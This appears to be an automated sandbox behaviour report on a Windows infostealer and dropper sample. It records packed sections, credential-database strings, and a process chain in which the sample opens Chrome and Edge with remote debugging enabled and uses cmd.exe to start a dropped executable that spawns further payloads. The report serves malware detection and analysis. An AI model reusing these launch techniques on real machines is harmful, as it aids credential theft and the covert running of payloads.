Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6C998AC0	1_2_6C998AC0
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6C971AF0	1_2_6C971AF0
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6C99E2F0	1_2_6C99E2F0
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6C999A60	1_2_6C999A60
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6C95F380	1_2_6C95F380
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6C9C53C8	1_2_6C9C53C8
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6C99D320	1_2_6C99D320
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6C955340	1_2_6C955340
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6C96C370	1_2_6C96C370
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 36_2_0039E530	36_2_0039E530
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 36_2_003D8860	36_2_003D8860
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 36_2_003D7049	36_2_003D7049
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 36_2_003D78BB	36_2_003D78BB
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 36_2_003D2D10	36_2_003D2D10
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 36_2_003D31A8	36_2_003D31A8
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 36_2_00394DE0	36_2_00394DE0
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 36_2_00394B30	36_2_00394B30
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 36_2_003C7F36	36_2_003C7F36
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 36_2_003D779B	36_2_003D779B

Source: C:\Users\user\Desktop\file.exe	Code function: String function: 6C9994D0 appears 90 times
Source: C:\Users\user\Desktop\file.exe	Code function: String function: 6C98CBE8 appears 134 times

Source: file.exe, 00000001.00000002.2782855796.000000006CBD5000.00000002.00000001.01000000.00000009.sdmp	Binary or memory string: OriginalFilenamenss3.dll0 vs file.exe
Source: file.exe, 00000001.00000002.2781907799.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmp	Binary or memory string: OriginalFilenamemozglue.dll0 vs file.exe
Source: file.exe, 00000001.00000002.2769616265.0000000023384000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameCmd.Exe.MUIj% vs file.exe
Source: file.exe, 00000001.00000002.2769616265.0000000023384000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameCmd.Exej% vs file.exe

Source: file.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: file.exe	Static PE information: Section: vazpyjtr ZLIB complexity 0.9946858046596314
Source: random[1].exe.1.dr	Static PE information: Section: ZLIB complexity 0.9982118528610354
Source: random[1].exe.1.dr	Static PE information: Section: wiflwrzy ZLIB complexity 0.9944026868983152
Source: DocumentsHIDHDAAEHI.exe.1.dr	Static PE information: Section: ZLIB complexity 0.9982118528610354
Source: DocumentsHIDHDAAEHI.exe.1.dr	Static PE information: Section: wiflwrzy ZLIB complexity 0.9944026868983152
Source: skotes.exe.27.dr	Static PE information: Section: ZLIB complexity 0.9982118528610354
Source: skotes.exe.27.dr	Static PE information: Section: wiflwrzy ZLIB complexity 0.9944026868983152
Source: random[1].exe.36.dr	Static PE information: Section: gyefzsku ZLIB complexity 0.9941901204797836
Source: ca8a779a60.exe.36.dr	Static PE information: Section: gyefzsku ZLIB complexity 0.9941901204797836

Source: classification engine

Classification label: mal100.troj.spyw.evad.winEXE@78/239@28/26

Source: C:\Users\user\Desktop\file.exe

Code function: 1_2_6C9B7030 GetLastError,FormatMessageA,__acrt_iob_func,__acrt_iob_func,__acrt_iob_func,fflush,LocalFree,

1_2_6C9B7030

Source: C:\Users\user\Desktop\file.exe

File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\8HXJSKQQ\D5R3FO2I.htm

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Mutant created: \Sessions\1\BaseNamedObjects\006700e5a2ab05704bbb0c589b88924d
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:8920:120:WilError_03

Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

File created: C:\Users\user\AppData\Local\Temp\95f55aa1-daf5-460c-8897-5d6ee4036523.tmp

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

File read: C:\Users\user\Desktop\desktop.ini

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: softokn3[1].dll.1.dr	Binary or memory string: CREATE TABLE metaData (id PRIMARY KEY UNIQUE ON CONFLICT REPLACE, item1, item2);
Source: file.exe, 00000001.00000002.2780853961.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, file.exe, 00000001.00000002.2782461428.000000006CB8F000.00000002.00000001.01000000.00000009.sdmp, file.exe, 00000001.00000002.2759021465.000000001D34D000.00000004.00000020.00020000.00000000.sdmp, nss3.dll.1.dr, nss3[1].dll.1.dr	Binary or memory string: UPDATE %Q.sqlite_master SET tbl_name = %Q, name = CASE WHEN type='table' THEN %Q WHEN name LIKE 'sqliteX_autoindex%%' ESCAPE 'X' AND type='index' THEN 'sqlite_autoindex_' \|\| %Q \|\| substr(name,%d+18) ELSE name END WHERE tbl_name=%Q COLLATE nocase AND (type='table' OR type='index' OR type='trigger');
Source: softokn3[1].dll.1.dr	Binary or memory string: SELECT ALL * FROM %s LIMIT 0;
Source: file.exe, 00000001.00000002.2780853961.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, file.exe, 00000001.00000002.2782461428.000000006CB8F000.00000002.00000001.01000000.00000009.sdmp, file.exe, 00000001.00000002.2759021465.000000001D34D000.00000004.00000020.00020000.00000000.sdmp, nss3.dll.1.dr, nss3[1].dll.1.dr	Binary or memory string: CREATE TABLE %Q.'%q_docsize'(docid INTEGER PRIMARY KEY, size BLOB);
Source: file.exe, 00000001.00000002.2780853961.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, file.exe, 00000001.00000002.2782461428.000000006CB8F000.00000002.00000001.01000000.00000009.sdmp, file.exe, 00000001.00000002.2759021465.000000001D34D000.00000004.00000020.00020000.00000000.sdmp, nss3.dll.1.dr, nss3[1].dll.1.dr	Binary or memory string: CREATE TABLE IF NOT EXISTS %Q.'%q_stat'(id INTEGER PRIMARY KEY, value BLOB);
Source: file.exe, 00000001.00000002.2780853961.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, file.exe, 00000001.00000002.2782461428.000000006CB8F000.00000002.00000001.01000000.00000009.sdmp, file.exe, 00000001.00000002.2759021465.000000001D34D000.00000004.00000020.00020000.00000000.sdmp, nss3.dll.1.dr, nss3[1].dll.1.dr	Binary or memory string: CREATE TABLE %Q.'%q_segdir'(level INTEGER,idx INTEGER,start_block INTEGER,leaves_end_block INTEGER,end_block INTEGER,root BLOB,PRIMARY KEY(level, idx));
Source: softokn3[1].dll.1.dr	Binary or memory string: UPDATE %s SET %s WHERE id=$ID;
Source: softokn3[1].dll.1.dr	Binary or memory string: SELECT ALL * FROM metaData WHERE id=$ID;
Source: softokn3[1].dll.1.dr	Binary or memory string: SELECT ALL id FROM %s WHERE %s;
Source: softokn3[1].dll.1.dr	Binary or memory string: INSERT INTO metaData (id,item1) VALUES($ID,$ITEM1);
Source: softokn3[1].dll.1.dr	Binary or memory string: INSERT INTO %s (id%s) VALUES($ID%s);
Source: file.exe, 00000001.00000002.2780853961.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, file.exe, 00000001.00000002.2782461428.000000006CB8F000.00000002.00000001.01000000.00000009.sdmp, file.exe, 00000001.00000002.2759021465.000000001D34D000.00000004.00000020.00020000.00000000.sdmp, nss3.dll.1.dr, nss3[1].dll.1.dr	Binary or memory string: INSERT INTO %Q.sqlite_master VALUES('index',%Q,%Q,#%d,%Q);
Source: file.exe, 00000001.00000002.2780853961.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, file.exe, 00000001.00000002.2759021465.000000001D34D000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE x(addr INT,opcode TEXT,p1 INT,p2 INT,p3 INT,p4 TEXT,p5 INT,comment TEXT,subprog TEXT,stmt HIDDEN);
Source: file.exe, 00000001.00000002.2780853961.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, file.exe, 00000001.00000002.2782461428.000000006CB8F000.00000002.00000001.01000000.00000009.sdmp, file.exe, 00000001.00000002.2759021465.000000001D34D000.00000004.00000020.00020000.00000000.sdmp, nss3.dll.1.dr, nss3[1].dll.1.dr	Binary or memory string: CREATE TABLE %Q.'%q_segments'(blockid INTEGER PRIMARY KEY, block BLOB);
Source: softokn3[1].dll.1.dr	Binary or memory string: INSERT INTO metaData (id,item1,item2) VALUES($ID,$ITEM1,$ITEM2);
Source: file.exe, 00000001.00000003.2493283089.000000001D23D000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000003.2407586139.000000001D249000.00000004.00000020.00020000.00000000.sdmp, JKKEHJDHJKFIECAAKFIJ.1.dr, HDHJEBFBFHJECAKFCAAK.1.dr	Binary or memory string: CREATE TABLE password_notes (id INTEGER PRIMARY KEY AUTOINCREMENT, parent_id INTEGER NOT NULL REFERENCES logins ON UPDATE CASCADE ON DELETE CASCADE DEFERRABLE INITIALLY DEFERRED, key VARCHAR NOT NULL, value BLOB, date_created INTEGER NOT NULL, confidential INTEGER, UNIQUE (parent_id, key));
Source: file.exe, 00000001.00000002.2780853961.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, file.exe, 00000001.00000002.2759021465.000000001D34D000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE "%w"."%w_parent"(nodeno INTEGER PRIMARY KEY,parentnode);
Source: softokn3[1].dll.1.dr	Binary or memory string: SELECT ALL * FROM %s LIMIT 0;CREATE TEMPORARY TABLE %s AS SELECT * FROM %sD
Source: file.exe, 00000001.00000002.2780853961.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, file.exe, 00000001.00000002.2759021465.000000001D34D000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE x(type TEXT,schema TEXT,name TEXT,wr INT,subprog TEXT,stmt HIDDEN);
Source: softokn3[1].dll.1.dr	Binary or memory string: SELECT DISTINCT %s FROM %s where id=$ID LIMIT 1;

Source: file.exe

ReversingLabs: Detection: 39%

Source: file.exe	String found in binary or memory: 3Cannot find '%s'. Please, re-install this application
Source: DocumentsHIDHDAAEHI.exe	String found in binary or memory: 3Cannot find '%s'. Please, re-install this application
Source: skotes.exe	String found in binary or memory: 3Cannot find '%s'. Please, re-install this application
Source: skotes.exe	String found in binary or memory: 3Cannot find '%s'. Please, re-install this application
Source: skotes.exe	String found in binary or memory: 3Cannot find '%s'. Please, re-install this application

Source: unknown	Process created: C:\Users\user\Desktop\file.exe "C:\Users\user\Desktop\file.exe"
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory="Default"
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2340 --field-trial-handle=2164,i,5060476444642578106,13692182818548436054,262144 /prefetch:8
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --remote-debugging-port=9229 --profile-directory="Default"
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2192 --field-trial-handle=2148,i,2588520207502892506,14518438234925408781,262144 /prefetch:3
Source: unknown	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --remote-debugging-port=9229 --profile-directory=Default --flag-switches-begin --flag-switches-end --disable-nacl --do-not-de-elevate
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2136 --field-trial-handle=2108,i,12579826535671700692,990672711312496820,262144 /prefetch:3
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-GB --service-sandbox-type=asset_store_service --mojo-platform-channel-handle=6492 --field-trial-handle=2108,i,12579826535671700692,990672711312496820,262144 /prefetch:8
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=entity_extraction_service.mojom.Extractor --lang=en-GB --service-sandbox-type=entity_extraction --onnx-enabled-for-ee --mojo-platform-channel-handle=6760 --field-trial-handle=2108,i,12579826535671700692,990672711312496820,262144 /prefetch:8
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.55\identity_helper.exe "C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.55\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=7284 --field-trial-handle=2108,i,12579826535671700692,990672711312496820,262144 /prefetch:8
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.55\identity_helper.exe "C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.55\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=7284 --field-trial-handle=2108,i,12579826535671700692,990672711312496820,262144 /prefetch:8
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\system32\cmd.exe" /c start "" "C:\Users\user\DocumentsHIDHDAAEHI.exe"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Users\user\DocumentsHIDHDAAEHI.exe "C:\Users\user\DocumentsHIDHDAAEHI.exe"
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Source: C:\Users\user\DocumentsHIDHDAAEHI.exe	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe "C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe"
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=edge_search_indexer.mojom.SearchIndexerInterfaceBroker --lang=en-GB --service-sandbox-type=search_indexer --message-loop-type-ui --mojo-platform-channel-handle=6860 --field-trial-handle=2108,i,12579826535671700692,990672711312496820,262144 /prefetch:8
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1008541001\ca8a779a60.exe "C:\Users\user\AppData\Local\Temp\1008541001\ca8a779a60.exe"
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory="Default"	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --remote-debugging-port=9229 --profile-directory="Default"	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2192 --field-trial-handle=2148,i,2588520207502892506,14518438234925408781,262144 /prefetch:3	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2340 --field-trial-handle=2164,i,5060476444642578106,13692182818548436054,262144 /prefetch:8	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=edge_search_indexer.mojom.SearchIndexerInterfaceBroker --lang=en-GB --service-sandbox-type=search_indexer --message-loop-type-ui --mojo-platform-channel-handle=6860 --field-trial-handle=2108,i,12579826535671700692,990672711312496820,262144 /prefetch:8	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2192 --field-trial-handle=2148,i,2588520207502892506,14518438234925408781,262144 /prefetch:3	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2136 --field-trial-handle=2108,i,12579826535671700692,990672711312496820,262144 /prefetch:3
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-GB --service-sandbox-type=asset_store_service --mojo-platform-channel-handle=6492 --field-trial-handle=2108,i,12579826535671700692,990672711312496820,262144 /prefetch:8
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=entity_extraction_service.mojom.Extractor --lang=en-GB --service-sandbox-type=entity_extraction --onnx-enabled-for-ee --mojo-platform-channel-handle=6760 --field-trial-handle=2108,i,12579826535671700692,990672711312496820,262144 /prefetch:8
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.55\identity_helper.exe "C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.55\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=7284 --field-trial-handle=2108,i,12579826535671700692,990672711312496820,262144 /prefetch:8
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.55\identity_helper.exe "C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.55\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=7284 --field-trial-handle=2108,i,12579826535671700692,990672711312496820,262144 /prefetch:8
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=edge_search_indexer.mojom.SearchIndexerInterfaceBroker --lang=en-GB --service-sandbox-type=search_indexer --message-loop-type-ui --mojo-platform-channel-handle=6860 --field-trial-handle=2108,i,12579826535671700692,990672711312496820,262144 /prefetch:8
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Users\user\DocumentsHIDHDAAEHI.exe "C:\Users\user\DocumentsHIDHDAAEHI.exe"
Source: C:\Users\user\DocumentsHIDHDAAEHI.exe	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe "C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe"
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1008541001\ca8a779a60.exe "C:\Users\user\AppData\Local\Temp\1008541001\ca8a779a60.exe"

Source: C:\Users\user\Desktop\file.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: rstrtmgr.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: mozglue.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wsock32.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: vcruntime140.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: msvcp140.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: vcruntime140.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: bcp47langs.dll	Jump to behavior
